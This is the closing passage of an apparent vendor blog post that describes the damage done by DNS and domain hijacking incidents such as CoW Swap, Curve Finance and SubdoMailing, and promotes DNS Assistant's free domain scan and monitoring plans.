The math is straightforward. CoW Swap lost $500,000+ in 47 minutes. Curve Finance was hit by DNS hijacking so many times they abandoned their domain entirely and migrated to a new one. The SubdoMailing campaign sent five million fraudulent emails per day under the names of hijacked brands, damaging their reputation and deliverability in ways that take months to recover from.

For small businesses, the consequences are proportionally just as severe. A hijacked domain means your website serves content you do not control. Your email gets intercepted or your sending reputation gets destroyed. Your customers lose trust. And recovering a stolen domain through ICANN's dispute process or the courts can take weeks to months, during which your business operates without its primary online identity.

CSC's research found that nearly 13% of corporate domain lapses are subsequently re-registered by a third party. When WatchTowr Labs registered 40 expired domains for as little as $20 each, they gained control of 4,000 active backdoors on government and university systems that were still calling home to those domains.

Your domain is not just a URL. It is your email infrastructure. It is your customer trust. It is your search engine rankings built over years. It is your brand. And right now, the only thing standing between you and an attacker exploiting it is whether or not someone is watching.

Start With a Free Domain Scan

We built a free tool that scans your domain and shows you exactly what an attacker would see: DNS record configurations, WHOIS registration data, and email authentication status. No signup required. No credit card. Just enter your domain and see the results.

If the report comes back clean, you lose nothing but two minutes. If it finds something, you just prevented the kind of incident that cost CoW Swap half a million dollars and cost the CDC its reputation on compromised government subdomains.

Run your free domain scan at dnsassistant.com/tools/domain-report

Then, if you want continuous monitoring so you never have to wonder whether something changed while you were not looking, DNS Assistant's monitoring plans start with self-serve onboarding and token-based pricing designed for teams of any size. No enterprise sales calls. No annual contracts. Just protection for the infrastructure your business depends on.

Every organization that got hit by SubdoMailing, Hazy Hawk, Sea Turtle, or the CoW Swap hijacking had one thing in common: they were not monitoring their DNS. That is a choice. And it is a choice you can change today.